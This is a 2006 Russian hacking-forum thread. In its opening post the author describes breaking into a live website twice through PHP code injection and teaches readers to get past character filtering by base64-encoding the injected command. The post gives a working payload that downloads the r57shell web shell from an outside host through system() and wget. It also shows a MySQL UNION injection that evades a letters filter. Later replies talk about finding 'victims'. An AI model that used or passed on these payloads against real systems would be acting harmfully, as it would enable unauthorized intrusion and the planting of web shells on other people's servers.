Обход фильтрации или Методы шифрования запроса

Discussion in 'Статьи' started by LoFFi, 26 Apr 2006.

  1. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    Иногда мы видим явную уязвимость на сайте, но не можем ее использовать должным образом,
    потому что нам портят жизнь разные мелочи, такие как какие-либо ограничения. Они существенно
    урезают наши действия, иногда так, что кажеться, что что-либо сделать просто нереально,
    но ведь все мы знаем что нет идеально защищенных систем.

    Меня наверное закидают камнями, так как хотел сказать, что статья для новичков, но все таки
    не буду этого писать, так как до недавнего времени не знал сам об этом (потому что просто сам
    не сталкивался с таким), а вот как раз сейчас столкнулся, и решил написать.

    Приведу я в этой статье только 2 примера, и я думаю что их хватит для того чтобы в общем
    понять суть вопроса.



    История первая:

    Помню как-то пол года назад я взломал один сайтец. Он был очень тупо написан, и там была
    php injection, в переменной БЕЗ КАКОЙ-ЛИБО ФИЛЬТРАЦИИ! То есть в нужное место я подставлял
    что то типа system('ls') или system('wget http://rst.void.ru/download/r57shell.txt') ну и т.д.
    То есть суть в том, что запрос никак не фильтровался. Так вот через эти пол года
    они все таки заметили, что их взломали, и "залатали" сайт.... так залатали, что в течении 30 мин
    я получил опять web-shell

    Дело в том, что php-injection они закрыли только в одной переменной! (как раз в той, которую
    я использовал при первом взломе). В остальных переменных, php inj работало так же, только
    меня сначала очень огорчил тот факт, что ВСЕ переменные фильтровались на спецсимволы...
    То есть в строку запроса я мог вписать только лишь символы ( ) , _
    Но и этого мне хватило. запрос system(ls) - то есть без ковычек - работал нормально, только вот
    ничего мне не давал. мне нужен был запрос system('wget http://rst.void.ru/download/r57shell.txt')
    но в этом запросе есть кавычки, слэши, двоеточия, точки и т.д. что не пропускаеться. Вобщем
    решение в данной ситуации одно - кодирование запроса. И в этом нам поможет base64 - так как его код
    приемущественно буквенно-циферный.
    Итак, закодируем строку "wget http://rst.void.ru/download/r57shell.txt" (без ковычек)
    Для этого используем php код
    <?
    echo base64_encode("wget http://rst.void.ru/download/r57shell.txt");
    ?>

    в итоге получили код
    d2dldCBodHRwOi8vcnN0LnZvaWQucnUvZG93bmxvYWQvcjU3c2hlbGwudHh0

    ОБРАТИТЕ ВНИМАНИЕ! что код не должен содержать символов + или =

    составим запрос закачивающий шелл на сайт

    system(base64_decode(d2dldCBodHRwOi8vcnN0LnZvaWQucnUvZG93bmxvYWQvcjU3c2hlbGwudHh0))

    вот собственно и все. По тому же принципу можно организовать любое другое действие.


    История вторая:

    Намного короче первой. В принцыпе все то же самое. Это было на конкурсе хакер.ру
    Ситуация была такой, что была mysql injection но самое обидное опять таки было то
    что в названиях полей нельзя было использовать буквы. Но и это достаточно легко
    обошлось используя тот же метод шифровки.
    Например:
    AES_DECRYPT(AES_ENCRYPT(USER(),0x71),0x71)
    то есть строка
    union select 1,2,3,4,5,6,7,8,9,10,11/* - нормально работает
    union select 1,2,3,4,5,6,test или 'test',8,9,10,11/* - не работает
    union select 1,2,AES_DECRYPT(AES_ENCRYPT(USER(),0x71),0x71),4,5,6,7,8,9,10,11/* - нормально работает





    Вот собственно хорошие два примера о том, как можно обходить некоторые ограничения за счет
    шифрования запросов.
     
    5 people like this.
  2. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    Видео тут
    На видео я ZeFs
     
    2 people like this.
  3. Dark Angel

    Dark Angel Elder - Старейшина

    Joined:
    23 Nov 2005
    Messages:
    79
    Likes Received:
    4
    Reputations:
    0
    так ничего!!но после 3 часовова поиска бажново сайта я подумал и решил забыть про ету дырку!! :(
     
    #3 Dark Angel, 11 Aug 2006
    Last edited: 11 Aug 2006
  4. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,191
    Reputations:
    430
    Да, нормально. Но мог бы уж расписать побольше. :cool:
     
  5. Dark Angel

    Dark Angel Elder - Старейшина

    Joined:
    23 Nov 2005
    Messages:
    79
    Likes Received:
    4
    Reputations:
    0
    зачем там и так всё понятна :) ну чё ктонить себе жертву нашёл :D
     
  6. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    Зделай себе сайтец на апаче (Пингвин канечно) с system и тренируйся =)